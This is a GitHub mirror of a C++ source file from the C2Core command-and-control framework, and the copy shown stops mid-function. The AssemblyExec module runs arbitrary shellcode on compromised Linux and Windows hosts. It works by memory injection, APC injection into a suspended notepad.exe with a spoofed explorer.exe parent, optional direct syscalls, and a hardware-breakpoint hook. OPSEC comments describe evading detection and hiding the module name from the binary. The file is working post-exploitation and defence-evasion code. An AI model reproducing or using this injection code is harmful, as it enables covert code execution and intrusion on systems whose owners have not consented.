mirror of
https://github.com/maxDcb/C2Core
synced 2026-06-08 15:48:01 +00:00
108a370807
* CommandSpecs * CommandSpecs * feat(command-specs): add simple module specs * listModule * AssemblyExec * AssemblyExecTests * Minor * Inject * InjectTests * Spec modules * Folder layout * upload & download * Chisel Minidump Powershell & Script * CoffLoader DotnetExec /KerberosUseTicket PsExec PwSh ScreenShot * add artifact_filters * Minor * stabilisation * Fixes * manual test * manual test * manual test * manual test * manual test * manual test * manual test * manual test * ScreenShot png * socks5 hostname * Maj for AI * minor
1014 lines
32 KiB
C++
1014 lines
32 KiB
C++
#include "AssemblyExec.hpp"
|
|
|
|
#include <cstring>
|
|
#include <iterator>
|
|
#include <sstream>
|
|
#include <chrono>
|
|
#include <thread>
|
|
|
|
#include "AssemblyExecCommandOptions.hpp"
|
|
#include "Common.hpp"
|
|
#include "Tools.hpp"
|
|
|
|
#ifdef __linux__
|
|
#include <sys/mman.h>
|
|
#include <sys/ptrace.h>
|
|
#include <sys/wait.h>
|
|
#include <sys/user.h>
|
|
#include <sstream>
|
|
#include <unistd.h>
|
|
#include <fcntl.h>
|
|
#elif _WIN32
|
|
#include <io.h>
|
|
#include <fcntl.h>
|
|
|
|
#include <peb.hpp>
|
|
#include <hwbp.hpp>
|
|
|
|
#include <syscall.hpp>
|
|
|
|
#endif
|
|
|
|
#define BUFSIZE 512
|
|
|
|
// Max duration of the shellcode execution befor it's killed
|
|
const int maxDurationShellCode=120;
|
|
|
|
using namespace std;
|
|
|
|
// Compute hash of moduleName at compile time, so the moduleName string don't show in the binary
|
|
constexpr std::string_view moduleName = "assemblyExec";
|
|
constexpr unsigned long long moduleHash = djb2(moduleName);
|
|
|
|
namespace
|
|
{
|
|
constexpr int ERROR_PROCESS_CREATION = 1;
|
|
}
|
|
|
|
#define modeThread "0"
|
|
#define modeProcess "1"
|
|
#define modeprocessWithSpoofedParent "2"
|
|
|
|
|
|
#ifdef _WIN32
|
|
|
|
__declspec(dllexport) AssemblyExec* A_AssemblyExecConstructor()
|
|
{
|
|
return new AssemblyExec();
|
|
}
|
|
|
|
#else
|
|
|
|
__attribute__((visibility("default"))) AssemblyExec* AssemblyExecConstructor()
|
|
{
|
|
return new AssemblyExec();
|
|
}
|
|
|
|
#endif
|
|
|
|
AssemblyExec::AssemblyExec()
|
|
#ifdef BUILD_TEAMSERVER
|
|
: ModuleCmd(std::string(moduleName), moduleHash)
|
|
#else
|
|
: ModuleCmd("", moduleHash)
|
|
#endif
|
|
{
|
|
m_processToSpawn="";
|
|
m_spoofedParent="";
|
|
m_useSyscall=false;
|
|
m_isModeProcess = true;
|
|
m_isSpoofParent = false;
|
|
}
|
|
|
|
AssemblyExec::~AssemblyExec()
|
|
{
|
|
}
|
|
|
|
|
|
std::string AssemblyExec::getInfo()
|
|
{
|
|
std::string info;
|
|
#ifdef BUILD_TEAMSERVER
|
|
info += "AssemblyExec Module:\n";
|
|
info += "Execute shellcode in a remote process (e.g., notepad.exe). Waits for execution to complete or until a 120-second timeout.\n";
|
|
info += "Captures and returns any output produced by the shellcode.\n";
|
|
info += "\nOptions:\n";
|
|
info += " --mode <mode> --raw <file> Execute raw shellcode.\n";
|
|
info += " --mode <mode> --donut-exe <exe> -- [args] Execute Donut-generated shellcode from a .NET executable.\n";
|
|
info += " --mode <mode> --donut-dll <dll> --method <method> -- [args]\n";
|
|
info += " Execute Donut-generated shellcode from a .NET DLL.\n";
|
|
info += "\nModes:\n";
|
|
info += " thread Inject and execute in a new thread\n";
|
|
info += " process Inject into a newly spawned process\n";
|
|
info += " processWithSpoofedParent Same as above, but with spoofed parent process\n";
|
|
info += "\nExamples:\n";
|
|
info += " - assemblyExec --mode process --raw ./shellcode.bin\n";
|
|
info += " - assemblyExec --mode thread --donut-exe ./Seatbelt.exe -- -group=system\n";
|
|
info += " - assemblyExec --mode process --donut-dll ./test.dll --method MethodName -- arg1 arg2\n";
|
|
#endif
|
|
return info;
|
|
}
|
|
|
|
|
|
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
|
namespace
|
|
{
|
|
std::string modeWireValue(const std::string& mode)
|
|
{
|
|
const std::string normalized = assembly_exec_command::normalizeModeName(mode);
|
|
if (normalized == "thread")
|
|
return modeThread;
|
|
if (normalized == "processWithSpoofedParent")
|
|
return modeprocessWithSpoofedParent;
|
|
return modeProcess;
|
|
}
|
|
|
|
std::string readBinaryFile(const std::string& path)
|
|
{
|
|
std::ifstream input(path, std::ios::binary);
|
|
return std::string(std::istreambuf_iterator<char>(input), std::istreambuf_iterator<char>());
|
|
}
|
|
} // namespace
|
|
|
|
int AssemblyExec::initPreparedShellcode(const ModulePreparedShellcodeTask& task, C2Message& c2Message)
|
|
{
|
|
if (task.payload.empty())
|
|
{
|
|
c2Message.set_returnvalue("Shellcode payload is empty.");
|
|
return -1;
|
|
}
|
|
|
|
std::string requestedMode = task.executionMode;
|
|
if (requestedMode.empty())
|
|
{
|
|
if (!m_isModeProcess)
|
|
requestedMode = "thread";
|
|
else if (m_isSpoofParent)
|
|
requestedMode = "processWithSpoofedParent";
|
|
else
|
|
requestedMode = "process";
|
|
}
|
|
|
|
const std::string mode = assembly_exec_command::normalizeModeName(requestedMode);
|
|
if (mode.empty())
|
|
{
|
|
c2Message.set_returnvalue("Unsupported execution mode.");
|
|
return -1;
|
|
}
|
|
|
|
c2Message.set_args(modeWireValue(mode));
|
|
c2Message.set_pid(-1);
|
|
c2Message.set_cmd(task.displayCommand);
|
|
c2Message.set_instruction(std::string(moduleName));
|
|
c2Message.set_inputfile(task.inputFile);
|
|
c2Message.set_data(task.payload.data(), task.payload.size());
|
|
return 0;
|
|
}
|
|
#endif
|
|
|
|
|
|
int AssemblyExec::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
|
{
|
|
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
|
assembly_exec_command::CommandOptions options = assembly_exec_command::parseCommandOptions(splitedCmd);
|
|
if (!options.error.empty())
|
|
{
|
|
c2Message.set_returnvalue(options.error + "\n");
|
|
return -1;
|
|
}
|
|
|
|
if(options.modeOnly)
|
|
{
|
|
if(options.mode=="thread")
|
|
{
|
|
m_isModeProcess = false;
|
|
c2Message.set_returnvalue("thread mode.\n");
|
|
return -1;
|
|
}
|
|
if(options.mode=="process")
|
|
{
|
|
m_isModeProcess = true;
|
|
m_isSpoofParent = false;
|
|
c2Message.set_returnvalue("process mode.\n");
|
|
return -1;
|
|
}
|
|
if(options.mode=="processWithSpoofedParent")
|
|
{
|
|
m_isModeProcess = true;
|
|
m_isSpoofParent = true;
|
|
c2Message.set_returnvalue("process mode with parent spoofing.\n");
|
|
return -1;
|
|
}
|
|
}
|
|
|
|
if (options.generator != "raw")
|
|
{
|
|
c2Message.set_returnvalue("Donut shellcode generation is handled by the TeamServer shellcode service.\n");
|
|
return -1;
|
|
}
|
|
|
|
std::string inputFile = options.sourcePath;
|
|
std::ifstream myfile(inputFile, std::ios::binary);
|
|
if(!myfile)
|
|
{
|
|
std::string newInputFile=m_toolsDirectoryPath;
|
|
newInputFile+=inputFile;
|
|
myfile.open(newInputFile, std::ios::binary);
|
|
inputFile=newInputFile;
|
|
}
|
|
|
|
if(!myfile)
|
|
{
|
|
c2Message.set_returnvalue("Couldn't open file.\n");
|
|
return -1;
|
|
}
|
|
myfile.close();
|
|
|
|
ModulePreparedShellcodeTask task;
|
|
task.inputFile = inputFile;
|
|
task.payload = readBinaryFile(inputFile);
|
|
task.executionMode = options.mode;
|
|
task.displayCommand = options.displayCommand;
|
|
return initPreparedShellcode(task, c2Message);
|
|
#endif
|
|
return 0;
|
|
}
|
|
|
|
|
|
int AssemblyExec::initConfig(const nlohmann::json &config)
|
|
{
|
|
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
|
for (auto& it : config.items())
|
|
{
|
|
if(it.key()=="process")
|
|
m_processToSpawn = it.value();
|
|
else if(it.key()=="syscall")
|
|
m_useSyscall = true;
|
|
else if(it.key()=="isModeProcess")
|
|
m_isModeProcess = (bool)it.value();
|
|
else if(it.key()=="spoofedParent")
|
|
{
|
|
m_isSpoofParent = true;
|
|
m_spoofedParent = it.value();
|
|
}
|
|
}
|
|
#endif
|
|
return 0;
|
|
}
|
|
|
|
|
|
int AssemblyExec::process(C2Message &c2Message, C2Message &c2RetMessage)
|
|
{
|
|
std::string mode = c2Message.args();
|
|
if(!mode.empty())
|
|
{
|
|
if(mode==modeThread)
|
|
m_isModeProcess = false;
|
|
else if(mode==modeProcess)
|
|
{
|
|
m_isModeProcess = true;
|
|
m_isSpoofParent = false;
|
|
}
|
|
else if(mode==modeprocessWithSpoofedParent)
|
|
{
|
|
m_isModeProcess = true;
|
|
m_isSpoofParent = true;
|
|
}
|
|
}
|
|
|
|
const std::string payload = c2Message.data();
|
|
|
|
std::string result;
|
|
|
|
#ifdef __linux__
|
|
|
|
whateverLinux(payload, result);
|
|
|
|
#elif _WIN32
|
|
|
|
std::string processToSpawn="notepad.exe";
|
|
std::string spoofedParent="explorer.exe";
|
|
if(!m_processToSpawn.empty())
|
|
processToSpawn=m_processToSpawn;
|
|
if(!m_spoofedParent.empty())
|
|
spoofedParent=m_spoofedParent;
|
|
|
|
int executionStatus = 0;
|
|
if(m_isModeProcess && !m_isSpoofParent)
|
|
executionStatus = createNewProcess(payload, processToSpawn, result);
|
|
else if(m_isModeProcess && m_isSpoofParent)
|
|
executionStatus = createNewProcessWithSpoofedParent(payload, processToSpawn, spoofedParent, result);
|
|
else
|
|
executionStatus = createNewThread(payload, result);
|
|
|
|
#endif
|
|
|
|
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
|
c2RetMessage.set_cmd(c2Message.cmd());
|
|
#ifdef _WIN32
|
|
if (executionStatus != 0)
|
|
{
|
|
if (result.empty())
|
|
{
|
|
result = "Error: Process failed to start.\n";
|
|
}
|
|
c2RetMessage.set_errorCode(ERROR_PROCESS_CREATION);
|
|
}
|
|
#endif
|
|
c2RetMessage.set_returnvalue(result);
|
|
|
|
return 0;
|
|
}
|
|
|
|
int AssemblyExec::errorCodeToMsg(const C2Message &c2RetMessage, std::string &errorMsg)
|
|
{
|
|
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
|
if (c2RetMessage.errorCode() > 0)
|
|
{
|
|
errorMsg = c2RetMessage.returnvalue();
|
|
}
|
|
#endif
|
|
return 0;
|
|
}
|
|
|
|
|
|
#ifdef __linux__
|
|
|
|
|
|
int AssemblyExec::whateverLinux(const std::string& payload, std::string& result)
|
|
{
|
|
if(1)
|
|
{
|
|
pid_t pid = 0;
|
|
int pipefd[2];
|
|
|
|
int ret = pipe(pipefd); //create a pipe
|
|
pid = fork(); //spawn a child process
|
|
if (pid == 0)
|
|
{
|
|
// Child. redirect std output to pipe, launch process
|
|
close(pipefd[0]);
|
|
dup2(pipefd[1], STDOUT_FILENO);
|
|
|
|
void *page = mmap(NULL, payload.size(), PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
|
|
memcpy(page, payload.data(), payload.size());
|
|
mprotect(page, payload.size(), PROT_READ|PROT_EXEC);
|
|
((void(*)())page)();
|
|
exit(0);
|
|
}
|
|
|
|
pid_t child_process_pid = pid;
|
|
int child_process_output_fd = pipefd[0];
|
|
|
|
//Only parent gets here. make tail nonblocking.
|
|
close(pipefd[1]);
|
|
fcntl(pipefd[0], F_SETFL, fcntl(pipefd[0], F_GETFL) | O_NONBLOCK);
|
|
|
|
std::chrono::steady_clock::time_point begin = std::chrono::steady_clock::now();
|
|
while(1)
|
|
{
|
|
int status;
|
|
pid_t endID=waitpid(child_process_pid, &status, WNOHANG);
|
|
if (endID == -1)
|
|
break;
|
|
else if (endID == 0)
|
|
{
|
|
std::chrono::steady_clock::time_point now = std::chrono::steady_clock::now();
|
|
auto elapse = std::chrono::duration_cast<std::chrono::seconds>(now - begin).count();
|
|
if(elapse>=maxDurationShellCode)
|
|
{
|
|
kill(pid, SIGKILL);
|
|
break;
|
|
}
|
|
else
|
|
sleep(1);
|
|
}
|
|
}
|
|
|
|
char buf[1000];
|
|
int nbBytes=1;
|
|
while(nbBytes)
|
|
{
|
|
nbBytes = read(child_process_output_fd, buf, 1000);
|
|
if(nbBytes)
|
|
result+=buf;
|
|
}
|
|
}
|
|
|
|
if(0)
|
|
{
|
|
// inject in an other thread -> work but i cannot get the output
|
|
streambuf* oldCoutStreamBuf = cout.rdbuf();
|
|
ostringstream strCout;
|
|
cout.rdbuf( strCout.rdbuf() );
|
|
|
|
std::thread t1(execShellCode, payload);
|
|
if(t1.joinable())
|
|
t1.join();
|
|
|
|
cout.rdbuf( oldCoutStreamBuf );
|
|
cout << strCout.str();
|
|
}
|
|
|
|
if(0)
|
|
{
|
|
// inject here -> work but terminate the process
|
|
void *page = mmap(NULL, payload.size(), PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
|
|
memcpy(page, payload.data(), payload.size());
|
|
mprotect(page, payload.size(), PROT_READ|PROT_EXEC);
|
|
((void(*)())page)();
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
#elif _WIN32
|
|
|
|
|
|
LONG WINAPI handlerRtlExitUserProcess(EXCEPTION_POINTERS* ExceptionInfo)
|
|
{
|
|
if (EXCEPTION_CODE(ExceptionInfo) != HWBP_EXCEPTION_CODE)
|
|
return EXCEPTION_CONTINUE_SEARCH;
|
|
|
|
BYTE* baseAddress = (BYTE*)xGetProcAddress(
|
|
xGetLibAddress((PCHAR)"ntdll.dll", TRUE, NULL),
|
|
(PCHAR)"RtlExitUserProcess",
|
|
0
|
|
);
|
|
|
|
if (!baseAddress)
|
|
return EXCEPTION_CONTINUE_SEARCH;
|
|
|
|
void* exitThread = (void*)GetProcAddress(
|
|
GetModuleHandleA("kernel32.dll"),
|
|
"ExitThread"
|
|
);
|
|
|
|
if (!exitThread)
|
|
return EXCEPTION_CONTINUE_SEARCH;
|
|
|
|
#if defined(_M_X64)
|
|
|
|
if (EXCEPTION_HIT_ADDRESS(ExceptionInfo, baseAddress))
|
|
{
|
|
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // RF
|
|
ExceptionInfo->ContextRecord->Rip = (DWORD64)exitThread;
|
|
return EXCEPTION_CONTINUE_EXECUTION;
|
|
}
|
|
|
|
#elif defined(_M_IX86)
|
|
|
|
if (EXCEPTION_HIT_ADDRESS(ExceptionInfo, baseAddress))
|
|
{
|
|
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // RF
|
|
ExceptionInfo->ContextRecord->Eip = (DWORD)exitThread;
|
|
return EXCEPTION_CONTINUE_EXECUTION;
|
|
}
|
|
|
|
#elif defined(_M_ARM64)
|
|
|
|
if (EXCEPTION_HIT_ADDRESS(ExceptionInfo, baseAddress))
|
|
{
|
|
/*
|
|
ARM64:
|
|
- No Rip/Eip
|
|
- No EFlags/RF
|
|
- Instruction pointer is Pc
|
|
*/
|
|
ExceptionInfo->ContextRecord->Pc = (DWORD64)exitThread;
|
|
return EXCEPTION_CONTINUE_EXECUTION;
|
|
}
|
|
|
|
#else
|
|
#error Unsupported architecture
|
|
#endif
|
|
|
|
return EXCEPTION_CONTINUE_SEARCH;
|
|
}
|
|
|
|
|
|
// Create new thread to run the shellcode, the memory use to inject the payload is taken from a DLL (Module Stomping)
|
|
// loaded specialy for this purpose. It avoid to use VirtualAlloc.
|
|
int AssemblyExec::createNewThread(const std::string& payload, std::string& result)
|
|
{
|
|
StdCapture stdCapture;
|
|
stdCapture.BeginCapture();
|
|
|
|
char * ptr;
|
|
|
|
// Module stomping
|
|
bool isModuleStomping = false;
|
|
if(isModuleStomping)
|
|
{
|
|
unsigned char sLib[] = "HologramWorld.dll";
|
|
HMODULE hVictimLib = LoadLibrary((LPCSTR) sLib);
|
|
ptr = (char *) hVictimLib + 2*4096 + 12;
|
|
|
|
DWORD oldprotect = 0;
|
|
VirtualProtect((char *) ptr, payload.size() + 4096, PAGE_READWRITE, &oldprotect);
|
|
RtlMoveMemory(ptr, (void *)payload.data(), payload.size());
|
|
VirtualProtect((char *) ptr, payload.size() + 4096, PAGE_EXECUTE_READ, &oldprotect);
|
|
}
|
|
else
|
|
{
|
|
DWORD oldprotect = 0;
|
|
ptr = (char *) VirtualAlloc(NULL, payload.size()+4096, MEM_COMMIT, PAGE_READWRITE);
|
|
RtlMoveMemory(ptr, (void *)payload.data(), payload.size());
|
|
VirtualProtect((char *) ptr, payload.size() + 4096, PAGE_EXECUTE_READ, &oldprotect);
|
|
}
|
|
|
|
HANDLE thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) ptr, NULL, CREATE_SUSPENDED, 0);
|
|
if (thread == NULL)
|
|
{
|
|
stdCapture.EndCapture();
|
|
result += "Error: Thread failed to start.\n";
|
|
return -1;
|
|
}
|
|
|
|
BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlExitUserProcess");
|
|
HANDLE phHwBpHandler;
|
|
int indexHWBP = 0;
|
|
if (baseAddress != NULL)
|
|
set_hwbp(thread, baseAddress, handlerRtlExitUserProcess, indexHWBP, &phHwBpHandler);
|
|
|
|
ResumeThread(thread);
|
|
|
|
DWORD waitStatus = WAIT_TIMEOUT;
|
|
const auto begin = std::chrono::steady_clock::now();
|
|
for (;;)
|
|
{
|
|
waitStatus = WaitForSingleObject(thread, 50);
|
|
stdCapture.DrainCapture();
|
|
if (waitStatus != WAIT_TIMEOUT)
|
|
break;
|
|
|
|
const auto now = std::chrono::steady_clock::now();
|
|
const auto elapsed = std::chrono::duration_cast<std::chrono::seconds>(now - begin).count();
|
|
if (elapsed >= maxDurationShellCode)
|
|
break;
|
|
}
|
|
|
|
stdCapture.EndCapture();
|
|
const std::string capturedOutput = stdCapture.GetCapture();
|
|
if (!capturedOutput.empty())
|
|
{
|
|
result += "Stdout:\n";
|
|
result += capturedOutput;
|
|
result += "\n";
|
|
}
|
|
|
|
if (waitStatus == WAIT_FAILED)
|
|
{
|
|
result += "Error: Thread wait failed.\n";
|
|
if (thread != NULL)
|
|
CloseHandle(thread);
|
|
return -1;
|
|
}
|
|
if (waitStatus == WAIT_TIMEOUT)
|
|
{
|
|
result += "Error: Thread execution timed out.\n";
|
|
if (thread != NULL)
|
|
CloseHandle(thread);
|
|
return -1;
|
|
}
|
|
|
|
if (thread != NULL)
|
|
CloseHandle(thread);
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
// OPSEC function to switch to syscall
|
|
// OPSEC patch etw et amsi
|
|
// difficulte to do with the fact that we create the thread suspended and so the lib are not loaded yet.
|
|
// OPSEC function to choose the process to inject to
|
|
|
|
|
|
DWORD GetPidByName(const char * pName)
|
|
{
|
|
PROCESSENTRY32 pEntry;
|
|
HANDLE snapshot;
|
|
|
|
pEntry.dwSize = sizeof(PROCESSENTRY32);
|
|
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
|
|
|
if (Process32First(snapshot, &pEntry) == TRUE)
|
|
{
|
|
while (Process32Next(snapshot, &pEntry) == TRUE)
|
|
{
|
|
if (_stricmp(pEntry.szExeFile, pName) == 0)
|
|
{
|
|
return pEntry.th32ProcessID;
|
|
}
|
|
}
|
|
}
|
|
CloseHandle(snapshot);
|
|
return 0;
|
|
}
|
|
|
|
|
|
// Create a new process in suspended mode to run the shellcode.
|
|
int AssemblyExec::createNewProcessWithSpoofedParent(const std::string& payload, const std::string& processToSpawn, const std::string& spoofedParent, std::string& result)
|
|
{
|
|
// Init handles
|
|
HANDLE hChildStdOutRd = NULL;
|
|
HANDLE hChildStdOutWr = NULL;
|
|
HANDLE hChildStdErrRd = NULL;
|
|
HANDLE hChildStdErrWr = NULL;
|
|
HANDLE hParentStdOutWr = NULL;
|
|
HANDLE hParentStdErrWr = NULL;
|
|
|
|
// Set the bInheritHandle flag so pipe handles are inherited.
|
|
SECURITY_ATTRIBUTES sa;
|
|
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
|
|
sa.bInheritHandle = TRUE;
|
|
sa.lpSecurityDescriptor = NULL;
|
|
|
|
CreatePipe(&hChildStdErrRd, &hChildStdErrWr, &sa, 0);
|
|
SetHandleInformation(hChildStdErrRd, HANDLE_FLAG_INHERIT, 0);
|
|
|
|
// std::string pipeStdErr = "\\\\.\\pipe\\error";
|
|
// int bufferSize = 512;
|
|
// hChildStdErrRd = CreateNamedPipeA(pipeStdErr.c_str(), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE, PIPE_UNLIMITED_INSTANCES, bufferSize, bufferSize, 0, &sa);
|
|
// hChildStdErrWr = CreateFileA(pipeStdErr.c_str(), GENERIC_READ | GENERIC_WRITE, 0, &sa, OPEN_EXISTING, 0, NULL);
|
|
|
|
// hChildStdErrWr = CreateFile("C:\\Users\\CyberVuln\\Desktop\\err.log", FILE_APPEND_DATA, FILE_SHARE_WRITE | FILE_SHARE_READ, &sa, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL );
|
|
|
|
CreatePipe(&hChildStdOutRd, &hChildStdOutWr, &sa, 0);
|
|
SetHandleInformation(hChildStdOutRd, HANDLE_FLAG_INHERIT, 0);
|
|
|
|
// std::string pipeStdOut = "\\\\.\\pipe\\output";
|
|
// hChildStdOutRd = CreateNamedPipeA(pipeStdOut.c_str(), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE, PIPE_UNLIMITED_INSTANCES, bufferSize, bufferSize, 0, &sa);
|
|
// hChildStdOutWr = CreateFileA(pipeStdOut.c_str(), GENERIC_READ | GENERIC_WRITE, 0, &sa, OPEN_EXISTING, 0, NULL);
|
|
|
|
// Prepare the parent child spoofing
|
|
DWORD dwPid = 0;
|
|
dwPid = GetPidByName(spoofedParent.c_str());
|
|
if (dwPid == 0)
|
|
dwPid = GetCurrentProcessId();
|
|
|
|
HANDLE hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
|
|
if (!hParentProcess)
|
|
{
|
|
// result += "Error: Failed to open parent process." << GetLastError() << "\n";
|
|
return 0;
|
|
}
|
|
|
|
// Duplicate handles to the spoofed parent process
|
|
BOOL res = DuplicateHandle(GetCurrentProcess(), hChildStdOutWr, hParentProcess, &hParentStdOutWr, 0, TRUE, DUPLICATE_SAME_ACCESS);
|
|
res = DuplicateHandle(GetCurrentProcess(), hChildStdErrWr, hParentProcess, &hParentStdErrWr, 0, TRUE, DUPLICATE_SAME_ACCESS);
|
|
|
|
// Set up members of the STARTUPINFOEX structure to specifies the STDERR and STDOUT handles for redirection.
|
|
STARTUPINFOEX siStartInfo = {};
|
|
siStartInfo.StartupInfo.cb = sizeof(STARTUPINFOEX);
|
|
siStartInfo.StartupInfo.hStdError = hParentStdErrWr;
|
|
siStartInfo.StartupInfo.hStdOutput = hParentStdOutWr;
|
|
siStartInfo.StartupInfo.dwFlags |= STARTF_USESTDHANDLES;
|
|
|
|
// Set up attributeList to set up the parent process
|
|
SIZE_T attributeListSize = 0;
|
|
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeListSize);
|
|
|
|
PPROC_THREAD_ATTRIBUTE_LIST attributeList = (PPROC_THREAD_ATTRIBUTE_LIST )HeapAlloc(GetProcessHeap(), 0, attributeListSize);
|
|
if (!attributeList)
|
|
{
|
|
// result += "Error: Failed to allocate memory for attribute list." << GetLastError() << "\n";
|
|
|
|
CloseHandle(hChildStdErrWr);
|
|
CloseHandle(hChildStdOutWr);
|
|
CloseHandle(hChildStdErrRd);
|
|
CloseHandle(hChildStdOutRd);
|
|
DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
|
|
DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
|
|
CloseHandle(hParentProcess);
|
|
|
|
return 0;
|
|
}
|
|
|
|
if (!InitializeProcThreadAttributeList(attributeList, 1, 0, &attributeListSize))
|
|
{
|
|
// result += "Error: Failed to initialize attribute list." << GetLastError() << "\n";
|
|
|
|
HeapFree(GetProcessHeap(), 0, attributeList);
|
|
|
|
CloseHandle(hChildStdErrWr);
|
|
CloseHandle(hChildStdOutWr);
|
|
CloseHandle(hChildStdErrRd);
|
|
CloseHandle(hChildStdOutRd);
|
|
DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
|
|
DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
|
|
CloseHandle(hParentProcess);
|
|
|
|
return 0;
|
|
}
|
|
|
|
if (!UpdateProcThreadAttribute(attributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL))
|
|
{
|
|
// result += "Error: Failed to set parent process attribute." << GetLastError() << "\n";
|
|
|
|
DeleteProcThreadAttributeList(attributeList);
|
|
HeapFree(GetProcessHeap(), 0, attributeList);
|
|
|
|
CloseHandle(hChildStdErrWr);
|
|
CloseHandle(hChildStdOutWr);
|
|
CloseHandle(hChildStdErrRd);
|
|
CloseHandle(hChildStdOutRd);
|
|
DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
|
|
DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
|
|
CloseHandle(hParentProcess);
|
|
|
|
return 0;
|
|
}
|
|
|
|
siStartInfo.lpAttributeList = attributeList;
|
|
|
|
// Create the child process
|
|
PROCESS_INFORMATION piProcInfo;
|
|
ZeroMemory( &piProcInfo, sizeof(PROCESS_INFORMATION) );
|
|
bool bSuccess = CreateProcessA(NULL, const_cast<LPSTR>(processToSpawn.c_str()), NULL, NULL, TRUE, CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &siStartInfo.StartupInfo, &piProcInfo);
|
|
|
|
DeleteProcThreadAttributeList(attributeList);
|
|
HeapFree(GetProcessHeap(), 0, attributeList);
|
|
|
|
// If an error occurs, exit the application.
|
|
if ( ! bSuccess )
|
|
{
|
|
CloseHandle(hChildStdErrWr);
|
|
CloseHandle(hChildStdOutWr);
|
|
CloseHandle(hChildStdErrRd);
|
|
CloseHandle(hChildStdOutRd);
|
|
DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
|
|
DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
|
|
CloseHandle(hParentProcess);
|
|
|
|
// result += "Error: Process failed to start." << GetLastError() << "\n";
|
|
return -1;
|
|
}
|
|
|
|
PVOID remoteBuffer;
|
|
if(m_useSyscall)
|
|
{
|
|
// https://github.com/0xrob/XOR-Shellcode-QueueUserAPC-Syscall/blob/main/queueUserAPC-XOR/Source.cpp
|
|
SIZE_T sizeToAlloc = payload.size();
|
|
|
|
remoteBuffer=NULL;
|
|
Sw3NtAllocateVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
|
|
SIZE_T NumberOfBytesWritten;
|
|
Sw3NtWriteVirtualMemory_(piProcInfo.hProcess, remoteBuffer, (PVOID)payload.data(), payload.size(), &NumberOfBytesWritten);
|
|
|
|
ULONG oldAccess;
|
|
Sw3NtProtectVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, &sizeToAlloc, PAGE_EXECUTE_READ, &oldAccess);
|
|
|
|
Sw3NtQueueApcThread_(piProcInfo.hThread, (PIO_APC_ROUTINE)remoteBuffer, remoteBuffer, (PIO_STATUS_BLOCK)NULL, NULL);
|
|
Sw3NtResumeThread_(piProcInfo.hThread, (PULONG)NULL);
|
|
}
|
|
else
|
|
{
|
|
remoteBuffer = VirtualAllocEx(piProcInfo.hProcess, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
|
|
|
|
WriteProcessMemory(piProcInfo.hProcess, remoteBuffer, payload.data(), payload.size(), NULL);
|
|
|
|
DWORD oldprotect = 0;
|
|
VirtualProtectEx(piProcInfo.hProcess, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect);
|
|
|
|
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)remoteBuffer;
|
|
QueueUserAPC((PAPCFUNC)apcRoutine, piProcInfo.hThread, NULL);
|
|
ResumeThread(piProcInfo.hThread);
|
|
}
|
|
|
|
m_isProcessRuning=true;
|
|
m_processHandle = piProcInfo.hProcess;
|
|
std::thread thread([this] { killProcess(); });
|
|
|
|
DWORD dwRead;
|
|
CHAR chBuf[BUFSIZE];
|
|
bSuccess = FALSE;
|
|
std::string out = "";
|
|
std::string err = "";
|
|
for (;;)
|
|
{
|
|
DWORD bytesAvailableOut = 0;
|
|
if (PeekNamedPipe(hChildStdOutRd, NULL, 0, NULL, &bytesAvailableOut, NULL) && bytesAvailableOut > 0)
|
|
{
|
|
